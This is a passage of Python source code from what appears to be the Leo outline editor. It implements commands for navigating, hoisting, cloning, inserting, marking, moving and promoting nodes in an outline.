node.\"\"\"\n    c, p = self, self.p\n    if not p:\n        return\n    p.moveToThreadNext()\n    wrapped = False\n    while 1:\n        if p and p.isMarked():\n            break\n        elif p:\n            p.moveToThreadNext()\n        elif wrapped:\n            break\n        else:\n            wrapped = True\n            p = c.rootPosition()\n    if not p:\n        g.blue('done')\n    c.treeSelectHelper(p)  # Sets focus.\n#@+node:ekr.20031218072017.2919: *3* c_oc.goToNextSibling\n@g.commander_command('goto-next-sibling')\ndef goToNextSibling(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the next sibling of the selected node.\"\"\"\n    c, p = self, self.p\n    c.treeSelectHelper(p and p.next())\n#@+node:ekr.20031218072017.2920: *3* c_oc.goToParent\n@g.commander_command('goto-parent')\ndef goToParent(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the parent of the selected node.\"\"\"\n    c, p = self, self.p\n    c.treeSelectHelper(p and p.parent())\n#@+node:ekr.20190211104913.1: *3* c_oc.goToPrevMarkedHeadline\n@g.commander_command('goto-prev-marked')\ndef goToPrevMarkedHeadline(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the previous marked node.\"\"\"\n    c, p = self, self.p\n    if not p:\n        return\n    p.moveToThreadBack()\n    wrapped = False\n    while 1:\n        if p and p.isMarked():\n            break\n        elif p:\n            p.moveToThreadBack()\n        elif wrapped:\n            break\n        else:\n            wrapped = True\n            p = c.rootPosition()\n    if not p:\n        g.blue('done')\n    c.treeSelectHelper(p)  # Sets focus.\n#@+node:ekr.20031218072017.2921: *3* c_oc.goToPrevSibling\n@g.commander_command('goto-prev-sibling')\ndef goToPrevSibling(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the previous sibling of the selected node.\"\"\"\n    c, p = self, self.p\n    c.treeSelectHelper(p and p.back())\n#@+node:ekr.20031218072017.2993: *3* c_oc.selectThreadBack\n@g.commander_command('goto-prev-node')\ndef selectThreadBack(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the node preceding the selected node in outline order.\"\"\"\n    c, p = self, self.p\n    if not p:\n        return\n    p.moveToThreadBack()\n    c.treeSelectHelper(p)\n#@+node:ekr.20031218072017.2994: *3* c_oc.selectThreadNext\n@g.commander_command('goto-next-node')\ndef selectThreadNext(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the node following the selected node in outline order.\"\"\"\n    c, p = self, self.p\n    if not p:\n        return\n    p.moveToThreadNext()\n    c.treeSelectHelper(p)\n#@+node:ekr.20031218072017.2995: *3* c_oc.selectVisBack\n@g.commander_command('goto-prev-visible')\ndef selectVisBack(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the visible node preceding the presently selected node.\"\"\"\n    # This has an up arrow for a control key.\n    c, p = self, self.p\n    if not p:\n        return\n    if c.canSelectVisBack():\n        p.moveToVisBack(c)\n        c.treeSelectHelper(p)\n    else:\n        c.endEditing()  # 2011/05/28: A special case.\n#@+node:ekr.20031218072017.2996: *3* c_oc.selectVisNext\n@g.commander_command('goto-next-visible')\ndef selectVisNext(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the visible node following the presently selected node.\"\"\"\n    c, p = self, self.p\n    if not p:\n        return\n    if c.canSelectVisNext():\n        p.moveToVisNext(c)\n        c.treeSelectHelper(p)\n    else:\n        c.endEditing()  # 2011/05/28: A special case.\n#@+node:ekr.20031218072017.2028: ** c_oc.hoist/dehoist/clearAllHoists\n#@+node:ekr.20120308061112.9865: *3* c_oc.deHoist\n@g.commander_command('de-hoist')\n@g.commander_command('dehoist')\ndef dehoist(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Undo a previous hoist of an outline.\"\"\"\n    c, cc, tag = self, self.chapterController, '@chapter '\n    if not c.p or not c.hoistStack:\n        return\n    # #2718: de-hoisting an @chapter node is equivalent to selecting the main chapter.\n    if c.p.h.startswith(tag) or c.hoistStack[-1].p.h.startswith(tag):\n        c.hoistStack = []\n        cc.selectChapterByName('main')\n        return\n    bunch = c.hoistStack.pop()\n    p = bunch.p\n    # Checks 'expanded' property, which was preserved by 'hoist' method\n    if bunch.expanded:\n        p.expand()\n    else:\n        p.contract()\n    c.setCurrentPosition(p)\n    c.redraw()\n    c.frame.clearStatusLine()\n    c.frame.putStatusLine(\"De-Hoist: \" + p.h)\n    g.doHook('hoist-changed', c=c)\n#@+node:ekr.20120308061112.9866: *3* c_oc.clearAllHoists\n@g.commander_command('clear-all-hoists')\ndef clearAllHoists(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Undo a previous hoist of an outline.\"\"\"\n    c = self\n    c.hoistStack = []\n    c.frame.putStatusLine(\"Hoists cleared\")\n    g.doHook('hoist-changed', c=c)\n#@+node:ekr.20120308061112.9867: *3* c_oc.hoist\n@g.commander_command('hoist')\ndef hoist(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Make only the selected outline visible.\"\"\"\n    c, p = self, self.p\n    if not p:\n        return\n    # Don't hoist an @chapter node.\n    if c.chapterController and p.h.startswith('@chapter '):\n        if not g.unitTesting:\n            g.es('can not hoist an @chapter node.', color='blue')\n        return\n    # Remember the expansion state.\n    bunch = g.Bunch(p=p.copy(), expanded=p.isExpanded())\n    c.hoistStack.append(bunch)\n    p.expand()\n    c.redraw(p)\n    c.frame.clearStatusLine()\n    c.frame.putStatusLine(\"Hoist: \" + p.h)\n    g.doHook('hoist-changed', c=c)\n#@+node:ekr.20031218072017.1759: ** c_oc.Insert, Delete & Clone commands\n#@+node:ekr.20031218072017.1762: *3* c_oc.clone\n@g.commander_command('clone-node')\ndef clone(self: Cmdr, event: Event = None) -> Optional[Position]:\n    \"\"\"Create a clone of the selected outline.\"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return None\n    undoData = c.undoer.beforeCloneNode(p)\n    c.endEditing()  # Capture any changes to the headline.\n    clone = p.clone()\n    clone.setDirty()\n    c.setChanged()\n    if c.checkOutline() == 0:\n        u.afterCloneNode(clone, 'Clone Node', undoData)\n        c.redraw(clone)\n        c.treeWantsFocus()\n        return clone  # For mod_labels and chapters plugins.\n    clone.doDelete()\n    c.setCurrentPosition(p)\n    return None\n#@+node:ekr.20150630152607.1: *3* c_oc.cloneToAtSpot\n@g.commander_command('clone-to-at-spot')\ndef cloneToAtSpot(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Create a clone of the selected node and move it to the last @spot node\n    of the outline. Create the @spot node if necessary.\n    \"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return\n    # 2015/12/27: fix bug 220: do not allow clone-to-at-spot on @spot node.\n    if p.h.startswith('@spot'):\n        g.es(\"can not clone @spot node\", color='red')\n        return\n    last_spot = None\n    for p2 in c.all_positions():\n        if g.match_word(p2.h, 0, '@spot'):\n            last_spot = p2.copy()\n    if not last_spot:\n        last = c.lastTopLevel()\n        last_spot = last.insertAfter()\n        last_spot.h = '@spot'\n    undoData = c.undoer.beforeCloneNode(p)\n    c.endEditing()  # Capture any changes to the headline.\n    clone = p.copy()\n    clone._linkAsNthChild(last_spot, n=last_spot.numberOfChildren())\n    clone.setDirty()\n    c.setChanged()\n    if c.checkOutline() == 0:\n        u.afterCloneNode(clone, 'Clone Node', undoData)\n        c.contractAllHeadlines()\n        c.redraw(clone)\n    else:\n        clone.doDelete()\n        c.setCurrentPosition(p)\n#@+node:ekr.20141023154408.5: *3* c_oc.cloneToLastNode\n@g.commander_command('clone-node-to-last-node')\ndef cloneToLastNode(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Clone the selected node and move it to the last node.\n    Do *not* change the selected node.\n    \"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return\n    prev = p.copy()\n    undoData = c.undoer.beforeCloneNode(p)\n    c.endEditing()  # Capture any changes to the headline.\n    clone = p.clone()\n    last = c.rootPosition()\n    while last and last.hasNext():\n        last.moveToNext()\n    clone.moveAfter(last)\n    clone.setDirty()\n    c.setChanged()\n    u.afterCloneNode(clone, 'Clone Node To Last', undoData)\n    c.redraw(prev)\n    # return clone # For mod_labels and chapters plugins.\n#@+node:ekr.20031218072017.1193: *3* c_oc.deleteOutline\n@g.commander_command('delete-node')\ndef deleteOutline(self: Cmdr, event: Event = None, op_name: str = \"Delete Node\") -> None:\n    \"\"\"Deletes the selected outline.\"\"\"\n    c, u = self, self.undoer\n    p = c.p\n    if not p:\n        return\n    c.endEditing()  # Make sure we capture the headline for Undo.\n    if False:  # c.config.getBool('select-next-after-delete'):\n        # #721: Optionally select next node after delete.\n        if p.hasVisNext(c):\n            newNode = p.visNext(c)\n        elif p.hasParent():\n            newNode = p.parent()\n        else:\n            newNode = p.back()  # _not_ p.visBack(): we are at the top level.\n    else:\n        # Legacy: select previous node if possible.\n        if p.hasVisBack(c):\n            newNode = p.visBack(c)\n        else:\n            newNode = p.next()  # _not_ p.visNext(): we are at the top level.\n    if not newNode:\n        return\n    undoData = u.beforeDeleteNode(p)\n    p.setDirty()\n    p.doDelete(newNode)\n    c.setChanged()\n    u.afterDeleteNode(newNode, op_name, undoData)\n    c.redraw(newNode)\n    c.checkOutline()\n#@+node:ekr.20071005173203.1: *3* c_oc.insertChild\n@g.commander_command('insert-child')\ndef insertChild(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Insert a node after the presently selected node.\"\"\"\n    c = self\n    return c.insertHeadline(event=event, op_name='Insert Child', as_child=True)\n#@+node:ekr.20031218072017.1761: *3* c_oc.insertHeadline (insert-*)\n@g.commander_command('insert-node')\ndef insertHeadline(\n    self: Cmdr, event:\n    Event = None,\n    op_name: str = \"Insert Node\",\n    as_child: bool = False,\n) -> Optional[Position]:\n    \"\"\"\n    If c.p is expanded, insert a new node as the first or last child of c.p,\n    depending on @bool insert-new-nodes-at-end.\n\n    If c.p is not expanded, insert a new node after c.p.\n    \"\"\"\n    c = self\n    # Fix #600.\n    return insertHeadlineHelper(c, event=event, as_child=as_child, op_name=op_name)\n\n@g.commander_command('insert-as-first-child')\ndef insertNodeAsFirstChild(self: Cmdr, event: Event = None) -> Optional[Position]:\n    \"\"\"Insert a node as the first child of the previous node.\"\"\"\n    c = self\n    return insertHeadlineHelper(c, event=event, as_first_child=True)\n\n@g.commander_command('insert-as-last-child')\ndef insertNodeAsLastChild(self: Cmdr, event: Event = None) -> Optional[Position]:\n    \"\"\"Insert a node as the last child of the previous node.\"\"\"\n    c = self\n    return insertHeadlineHelper(c, event=event, as_last_child=True)\n#@+node:ekr.20171124091846.1: *4* function: insertHeadlineHelper\ndef insertHeadlineHelper(\n    c: Cmdr,\n    event: Event = None,\n    op_name: str = \"Insert Node\",\n    as_child: bool = False,\n    as_first_child: bool = False,\n    as_last_child: bool = False,\n) -> Optional[Position]:\n    \"\"\"Insert a node after the presently selected node.\"\"\"\n    u = c.undoer\n    current = c.p\n    if not current:\n        return None\n    c.endEditing()\n    undoData = c.undoer.beforeInsertNode(current)\n    if as_first_child:\n        p = current.insertAsNthChild(0)\n    elif as_last_child:\n        p = current.insertAsLastChild()\n    elif (\n        as_child or\n        (current.hasChildren() and current.isExpanded()) or\n        (c.hoistStack and current == c.hoistStack[-1].p)\n    ):\n        # Make sure the new node is visible when hoisting.\n        if c.config.getBool('insert-new-nodes-at-end'):\n            p = current.insertAsLastChild()\n        else:\n            p = current.insertAsNthChild(0)\n    else:\n        p = current.insertAfter()\n    g.doHook('create-node', c=c, p=p)\n    p.setDirty()\n    c.setChanged()\n    u.afterInsertNode(p, op_name, undoData)\n    c.redrawAndEdit(p, selectAll=True)\n    return p\n#@+node:ekr.20130922133218.11540: *3* c_oc.insertHeadlineBefore\n@g.commander_command('insert-node-before')\ndef insertHeadlineBefore(self: Cmdr, event: Event = None) -> Optional[Position]:\n    \"\"\"Insert a node before the presently selected node.\"\"\"\n    c, current, u = self, self.p, self.undoer\n    op_name = 'Insert Node Before'\n    if not current:\n        return None\n    # Can not insert before the base of a hoist.\n    if c.hoistStack and current == c.hoistStack[-1].p:\n        g.warning('can not insert a node before the base of a hoist')\n        return None\n    c.endEditing()\n    undoData = u.beforeInsertNode(current)\n    p = current.insertBefore()\n    g.doHook('create-node', c=c, p=p)\n    p.setDirty()\n    c.setChanged()\n    u.afterInsertNode(p, op_name, undoData)\n    c.redrawAndEdit(p, selectAll=True)\n    return p\n#@+node:ekr.20031218072017.2922: ** c_oc.Mark commands\n#@+node:ekr.20090905110447.6098: *3* c_oc.cloneMarked\n@g.commander_command('clone-marked-nodes')\ndef cloneMarked(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Clone all marked nodes as children of a new node.\"\"\"\n    c, u = self, self.undoer\n    p1 = c.p.copy()\n    # Create a new node to hold clones.\n    parent = p1.insertAfter()\n    parent.h = 'Clones of marked nodes'\n    cloned, n, p = [], 0, c.rootPosition()\n    while p:\n        # Careful: don't clone already-cloned nodes.\n        if p == parent:\n            p.moveToNodeAfterTree()\n        elif p.isMarked() and p.v not in cloned:\n            cloned.append(p.v)\n            if 0:  # old code\n                # Calling p.clone would cause problems\n                p.clone().moveToLastChildOf(parent)\n            else:  # New code.\n                # Create the clone directly as a child of parent.\n                p2 = p.copy()\n                n = parent.numberOfChildren()\n                p2._linkAsNthChild(parent, n)\n            p.moveToNodeAfterTree()\n            n += 1\n        else:\n            p.moveToThreadNext()\n    if n:\n        c.setChanged()\n        parent.expand()\n        c.selectPosition(parent)\n        u.afterCloneMarkedNodes(p1)\n    else:\n        parent.doDelete()\n        c.selectPosition(p1)\n    if not g.unitTesting:\n        g.blue(f\"cloned {n} nodes\")\n    c.redraw()\n#@+node:ekr.20160502090456.1: *3* c_oc.copyMarked\n@g.commander_command('copy-marked-nodes')\ndef copyMarked(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Copy all marked nodes as children of a new node.\"\"\"\n    c, u = self, self.undoer\n    p1 = c.p.copy()\n    # Create a new node to hold clones.\n    parent = p1.insertAfter()\n    parent.h = 'Copies of marked nodes'\n    copied, n, p = [], 0, c.rootPosition()\n    while p:\n        # Careful: don't clone already-cloned nodes.\n        if p == parent:\n            p.moveToNodeAfterTree()\n        elif p.isMarked() and p.v not in copied:\n            copied.append(p.v)\n            p2 = p.copyWithNewVnodes(copyMarked=True)\n            p2._linkAsNthChild(parent, n)\n            p.moveToNodeAfterTree()\n            n += 1\n        else:\n            p.moveToThreadNext()\n    if n:\n        c.setChanged()\n        parent.expand()\n        c.selectPosition(parent)\n        u.afterCopyMarkedNodes(p1)\n    else:\n        parent.doDelete()\n        c.selectPosition(p1)\n    if not g.unitTesting:\n        g.blue(f\"copied {n} nodes\")\n    c.redraw()\n#@+node:ekr.20111005081134.15540: *3* c_oc.deleteMarked\n@g.commander_command('delete-marked-nodes')\ndef deleteMarked(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Delete all marked nodes.\"\"\"\n    c, u = self, self.undoer\n    p1 = c.p.copy()\n    undo_data, p = [], c.rootPosition()\n    while p:\n        if p.isMarked():\n            undo_data.append(p.copy())\n            next = p.positionAfterDeletedTree()\n            p.doDelete()\n            p = next\n        else:\n            p.moveToThreadNext()\n    if undo_data:\n        u.afterDeleteMarkedNodes(undo_data, p1)\n        if not g.unitTesting:\n            g.blue(f\"deleted {len(undo_data)} nodes\")\n        c.setChanged()\n    # Don't even *think* about restoring the old position.\n    c.contractAllHeadlines()\n    c.redraw(c.rootPosition())\n#@+node:ekr.20111005081134.15539: *3* c_oc.moveMarked & helper\n@g.commander_command('move-marked-nodes')\ndef moveMarked(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Move all marked nodes as children of a new node.\n    This command is not undoable.\n    Consider using clone-marked-nodes, followed by copy/paste instead.\n    \"\"\"\n    c = self\n    p1 = c.p.copy()\n    # Check for marks.\n    for v in c.all_unique_nodes():\n        if v.isMarked():\n            break\n    else:\n        g.warning('no marked nodes')\n        return\n    result = g.app.gui.runAskYesNoDialog(c,\n        'Move Marked Nodes?',\n        message='move-marked-nodes is not undoable\\nProceed?',\n    )\n    if result == 'no':\n        return\n    # Create a new *root* node to hold the moved nodes.\n    # This node's position remains stable while other nodes move.\n    parent = createMoveMarkedNode(c)\n    assert not parent.isMarked()\n    moved = []\n    p = c.rootPosition()\n    while p:\n        assert parent == c.rootPosition()\n        # Careful: don't move already-moved nodes.\n        if p.isMarked() and not parent.isAncestorOf(p):\n            moved.append(p.copy())\n            next = p.positionAfterDeletedTree()\n            p.moveToLastChildOf(parent)  # This does not change parent's position.\n            p = next\n        else:\n            p.moveToThreadNext()\n    if moved:\n        # Find a position p2 outside of parent's tree with p2.v == p1.v.\n        # Such a position may not exist.\n        p2 = c.rootPosition()\n        while p2:\n            if p2 == parent:\n                p2.moveToNodeAfterTree()\n            elif p2.v == p1.v:\n                break\n            else:\n                p2.moveToThreadNext()\n        else:\n            # Not found.  Move to last top-level.\n            p2 = c.lastTopLevel()\n        parent.moveAfter(p2)\n        # u.afterMoveMarkedNodes(moved, p1)\n        if not g.unitTesting:\n            g.blue(f\"moved {len(moved)} nodes\")\n        c.setChanged()\n    # Calling c.contractAllHeadlines() causes problems when in a chapter.\n    c.redraw(parent)\n#@+node:ekr.20111005081134.15543: *4* def createMoveMarkedNode\ndef createMoveMarkedNode(c: Cmdr) -> Position:\n    oldRoot = c.rootPosition()\n    p = oldRoot.insertAfter()\n    p.h = 'Moved marked nodes'\n    p.moveToRoot()\n    return p\n#@+node:ekr.20031218072017.2923: *3* c_oc.markChangedHeadlines\n@g.commander_command('mark-changed-items')\ndef markChangedHeadlines(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Mark all nodes that have been changed.\"\"\"\n    c, current, u = self, self.p, self.undoer\n    undoType = 'Mark Changed'\n    c.endEditing()\n    changed = False\n    for p in c.all_unique_positions():\n        if p.isDirty() and not p.isMarked():\n            if not changed:\n                u.beforeChangeGroup(current, undoType)\n            changed = True\n            bunch = u.beforeMark(p, undoType)\n            # c.setMarked calls a hook.\n            c.setMarked(p)\n            p.setDirty()\n            c.setChanged()\n            u.afterMark(p, undoType, bunch)\n    if changed:\n        u.afterChangeGroup(current, undoType)\n    if not g.unitTesting:\n        g.blue('done')\n#@+node:ekr.20031218072017.2924: *3* c_oc.markChangedRoots\ndef markChangedRoots(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Mark all changed @root nodes.\"\"\"\n    c, current, u = self, self.p, self.undoer\n    undoType = 'Mark Changed'\n    c.endEditing()\n    changed = False\n    for p in c.all_unique_positions():\n        if p.isDirty() and not p.isMarked():\n            s = p.b\n            flag, i = g.is_special(s, \"@root\")\n            if flag:\n                if not changed:\n                    u.beforeChangeGroup(current, undoType)\n                changed = True\n                bunch = u.beforeMark(p, undoType)\n                c.setMarked(p)  # Calls a hook.\n                p.setDirty()\n                c.setChanged()\n                u.afterMark(p, undoType, bunch)\n    if changed:\n        u.afterChangeGroup(current, undoType)\n    if not g.unitTesting:\n        g.blue('done')\n#@+node:ekr.20031218072017.2928: *3* c_oc.markHeadline\n@g.commander_command('mark')  # Compatibility\n@g.commander_command('toggle-mark')\ndef markHeadline(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Toggle the mark of the selected node.\"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return\n    c.endEditing()\n    undoType = 'Unmark' if p.isMarked() else 'Mark'\n    bunch = u.beforeMark(p, undoType)\n    # c.set/clearMarked call a hook.\n    if p.isMarked():\n        c.clearMarked(p)\n    else:\n        c.setMarked(p)\n    p.setDirty()\n    c.setChanged()\n    u.afterMark(p, undoType, bunch)\n#@+node:ekr.20031218072017.2929: *3* c_oc.markSubheads\n@g.commander_command('mark-subheads')\ndef markSubheads(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Mark all children of the selected node as changed.\"\"\"\n    c, current, u = self, self.p, self.undoer\n    undoType = 'Mark Subheads'\n    if not current:\n        return\n    c.endEditing()\n    changed = False\n    for p in current.children():\n        if not p.isMarked():\n            if not changed:\n                u.beforeChangeGroup(current, undoType)\n            changed = True\n            bunch = u.beforeMark(p, undoType)\n            c.setMarked(p)  # Calls a hook.\n            p.setDirty()\n            c.setChanged()\n            u.afterMark(p, undoType, bunch)\n    if changed:\n        u.afterChangeGroup(current, undoType)\n#@+node:ekr.20031218072017.2930: *3* c_oc.unmarkAll\n@g.commander_command('unmark-all')\ndef unmarkAll(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Unmark all nodes in the entire outline.\"\"\"\n    c, current, u = self, self.p, self.undoer\n    undoType = 'Unmark All'\n    if not current:\n        return\n    c.endEditing()\n    changed = False\n    p = None  # To keep pylint happy.\n    for p in c.all_unique_positions():\n        if p.isMarked():\n            if not changed:\n                u.beforeChangeGroup(current, undoType)\n            bunch = u.beforeMark(p, undoType)\n            # c.clearMarked(p) # Very slow: calls a hook.\n            p.v.clearMarked()\n            p.setDirty()\n            u.afterMark(p, undoType, bunch)\n            changed = True\n    if changed:\n        g.doHook(\"clear-all-marks\", c=c, p=p)\n        c.setChanged()\n        u.afterChangeGroup(current, undoType)\n#@+node:ekr.20031218072017.1766: ** c_oc.Move commands\n#@+node:ekr.20031218072017.1767: *3* c_oc.demote\n@g.commander_command('demote')\ndef demote(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Make all following siblings children of the selected node.\"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p or not p.hasNext():\n        c.treeFocusHelper()\n        return\n    # Make sure all the moves will be valid.\n    next = p.next()\n    while next:\n        if not c.checkMoveWithParentWithWarning(next, p, True):\n            c.treeFocusHelper()\n            return\n        next.moveToNext()\n    c.endEditing()\n    parent_v = p._parentVnode()\n    n = p.childIndex()\n    followingSibs = parent_v.children[n + 1 :]\n    # Remove the moved nodes from the parent's children.\n    parent_v.children = parent_v.children[: n + 1]\n    # Add the moved nodes to p's children\n    p.v.children.extend(followingSibs)\n    # Adjust the parent links in the moved nodes.\n    # There is no need to adjust descendant links.\n    for child in followingSibs:\n        child.parents.remove(parent_v)\n        child.parents.append(p.v)\n    p.expand()\n    p.setDirty()\n    c.setChanged()\n    u.afterDemote(p, followingSibs)\n    c.redraw(p)\n    c.updateSyntaxColorer(p)  # Moving can change syntax coloring.\n#@+node:ekr.20031218072017.1768: *3* c_oc.moveOutlineDown\n@g.commander_command('move-outline-down')\ndef moveOutlineDown(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Move the selected node down.\"\"\"\n    # Moving down is more tricky than moving up because we can't\n    # move p to be a child of itself.\n    #\n    # An important optimization:\n    # we don't have to call checkMoveWithParentWithWarning() if the parent of\n    # the moved node remains the same.\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return\n    if not c.canMoveOutlineDown():\n        if c.hoistStack:\n            cantMoveMessage(c)\n        c.treeFocusHelper()\n        return\n    parent = p.parent()\n    next = p.visNext(c)\n    while next and p.isAncestorOf(next):\n        next = next.visNext(c)\n    if not next:\n        if c.hoistStack:\n            cantMoveMessage(c)\n        c.treeFocusHelper()\n        return\n    c.endEditing()\n    undoData = u.beforeMoveNode(p)\n    #@+<< Move p down & set moved if successful >>\n    #@+node:ekr.20031218072017.1769: *4* << Move p down & set moved if successful >>\n    if next.hasChildren() and next.isExpanded():\n        # Attempt to move p to the first child of next.\n        moved = c.checkMoveWithParentWithWarning(p, next, True)\n        if moved:\n            p.setDirty()\n            p.moveToNthChildOf(next, 0)\n    else:\n        # Attempt to move p after next.\n        moved = c.checkMoveWithParentWithWarning(p, next.parent(), True)\n        if moved:\n            p.setDirty()\n            p.moveAfter(next)\n    # Patch by nh2: 0004-Add-bool-collapse_nodes_after_move-option.patch\n    if (\n        c.collapse_nodes_after_move\n        and moved and c.sparse_move\n        and parent and not parent.isAncestorOf(p)\n    ):\n        # New in Leo 4.4.2: contract the old parent if it is no longer the parent of p.\n        parent.contract()\n    #@-<< Move p down & set moved if successful >>\n    if moved:\n        p.setDirty()\n        c.setChanged()\n        u.afterMoveNode(p, 'Move Down', undoData)\n    c.redraw(p)\n    c.updateSyntaxColorer(p)  # Moving can change syntax coloring.\n#@+node:ekr.20031218072017.1770: *3* c_oc.moveOutlineLeft\n@g.commander_command('move-outline-left')\ndef moveOutlineLeft(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Move the selected node left if possible.\"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return\n    if not c.canMoveOutlineLeft():\n        if c.hoistStack:\n            cantMoveMessage(c)\n        c.treeFocusHelper()\n        return\n    if not p.hasParent():\n        c.treeFocusHelper()\n        return\n    parent = p.parent()\n    c.endEditing()\n    undoData = u.beforeMoveNode(p)\n    p.setDirty()\n    p.moveAfter(parent)\n    p.setDirty()\n    c.setChanged()\n    u.afterMoveNode(p, 'Move Left', undoData)\n    # Patch by nh2: 0004-Add-bool-collapse_nodes_after_move-option.patch\n    if c.collapse_nodes_after_move and c.sparse_move:  # New in Leo 4.4.2\n        parent.contract()\n    c.redraw(p)\n    c.recolor()  # Moving can change syntax coloring.\n#@+node:ekr.20031218072017.1771: *3* c_oc.moveOutlineRight\n@g.commander_command('move-outline-right')\ndef moveOutlineRight(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Move the selected node right if possible.\"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return\n    if not c.canMoveOutlineRight():  # 11/4/03: Support for hoist.\n        if c.hoistStack:\n            cantMoveMessage(c)\n        c.treeFocusHelper()\n        return\n    back = p.back()\n    if not back:\n        c.treeFocusHelper()\n        return\n    if not c.checkMoveWithParentWithWarning(p, back, True):\n        c.treeFocusHelper()\n        return\n    c.endEditing()\n    undoData = u.beforeMoveNode(p)\n    p.setDirty()\n    n = back.numberOfChildren()\n    p.moveToNthChildOf(back, n)\n    p.setDirty()\n    c.setChanged()  # #2036.\n    u.afterMoveNode(p, 'Move Right', undoData)\n    c.redraw(p)\n    c.recolor()\n#@+node:ekr.20031218072017.1772: *3* c_oc.moveOutlineUp\n@g.commander_command('move-outline-up')\ndef moveOutlineUp(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Move the selected node up if possible.\"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return\n    if not c.canMoveOutlineUp():  # Support for hoist.\n        if c.hoistStack:\n            cantMoveMessage(c)\n        c.treeFocusHelper()\n        return\n    back = p.visBack(c)\n    if not back:\n        return\n    back2 = back.visBack(c)\n    c.endEditing()\n    undoData = u.beforeMoveNode(p)\n    moved = False\n    #@+<< Move p up >>\n    #@+node:ekr.20031218072017.1773: *4* << Move p up >>\n    parent = p.parent()\n    if not back2:\n        if c.hoistStack:  # hoist or chapter.\n            limit, limitIsVisible = c.visLimit()\n            assert limit\n            if limitIsVisible:\n                # canMoveOutlineUp should have caught this.\n                g.trace('can not happen. In hoist')\n            else:\n                moved = True\n                p.setDirty()\n                p.moveToFirstChildOf(limit)\n        else:\n            # p will be the new root node\n            p.setDirty()\n            p.moveToRoot()\n            moved = True\n    elif back2.hasChildren() and back2.isExpanded():\n        if c.checkMoveWithParentWithWarning(p, back2, True):\n            moved = True\n            p.setDirty()\n            p.moveToNthChildOf(back2, 0)\n    else:\n        if c.checkMoveWithParentWithWarning(p, back2.parent(), True):\n            moved = True\n            p.setDirty()\n            p.moveAfter(back2)\n    # Patch by nh2: 0004-Add-bool-collapse_nodes_after_move-option.patch\n    if (\n        c.collapse_nodes_after_move\n        and moved and c.sparse_move\n        and parent and not parent.isAncestorOf(p)\n    ):\n        # New in Leo 4.4.2: contract the old parent if it is no longer the parent of p.\n        parent.contract()\n    #@-<< Move p up >>\n    if moved:\n        p.setDirty()\n        c.setChanged()\n        u.afterMoveNode(p, 'Move Up', undoData)\n    c.redraw(p)\n    c.updateSyntaxColorer(p)  # Moving can change syntax coloring.\n#@+node:ekr.20230902051130.1: *3* c_oc.moveOutlineToFirstChild\n@g.commander_command('move-outline-to-first-child')\ndef moveOutlineToFirstChild(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Move the selected node so that it is the first child of its parent.\n\n    Do nothing if a hoist is in effect.\n    \"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return\n    if c.hoistStack:\n        return\n    if not p.hasBack():\n        return\n    parent = p.parent()\n    if not parent:\n        return\n    c.endEditing()\n    undoData = u.beforeMoveNode(p)\n    p.moveToNthChildOf(p.parent(), 0)\n    p.setDirty()\n    c.setChanged()\n    u.afterMoveNode(p, 'Move To First Child', undoData)\n    c.redraw(p)\n#@+node:ekr.20230902051833.1: *3* c_oc.moveOutlineToLastChild\n@g.commander_command('move-outline-to-last-child')\ndef moveOutlineToLastChild(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Move the selected node so that it is the last child of its parent.\n\n    Do nothing if a hoist is in effect.\n    \"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p:\n        return\n    if c.hoistStack:\n        return\n    if not p.hasNext():\n        return\n    parent = p.parent()\n    if not parent:\n        return\n    c.endEditing()\n    undoData = u.beforeMoveNode(p)\n    p.moveToNthChildOf(parent, len(parent.v.children) - 1)\n    p.setDirty()\n    c.setChanged()\n    u.afterMoveNode(p, 'Move To Last Child', undoData)\n    c.redraw(p)\n#@+node:ekr.20031218072017.1774: *3* c_oc.promote\n@g.commander_command('promote')\ndef promote(self: Cmdr, event: Event = None, undoFlag: bool = True) -> None:\n    \"\"\"Make all children of the selected nodes siblings of the selected node.\"\"\"\n    c, p, u = self, self.p, self.undoer\n    if not p or not p.hasChildren():\n        c.treeFocusHelper()\n        return\n    c.endEditing()\n    children = p.v.children  # First, for undo.\n    p.promote()\n    c.setChanged()\n    if undoFlag:\n        p.setDirty()\n        u.afterPromote(p, children)\n    c.redraw(p)\n    c.updateSyntaxColorer(p)  # Moving can change syntax coloring.\n#@+node:ekr.20071213185710: *3* 